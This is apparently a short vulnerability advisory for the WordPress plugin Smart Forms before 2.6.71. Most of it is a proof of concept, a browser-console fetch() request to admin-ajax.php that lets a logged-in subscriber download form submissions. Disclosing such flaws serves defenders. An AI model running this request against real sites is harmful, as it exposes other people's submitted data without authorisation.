Smart Forms < 2.6.71 - Subscriber+ Form Data Download

Proof of Concept

Execute the below command in the web developer console of the browser when being logged in as a subscriber:

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": new URLSearchParams({"action":"rednao_smart_forms_entries_list","data":'{"Form":"1"}'}),
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(data => console.log(data));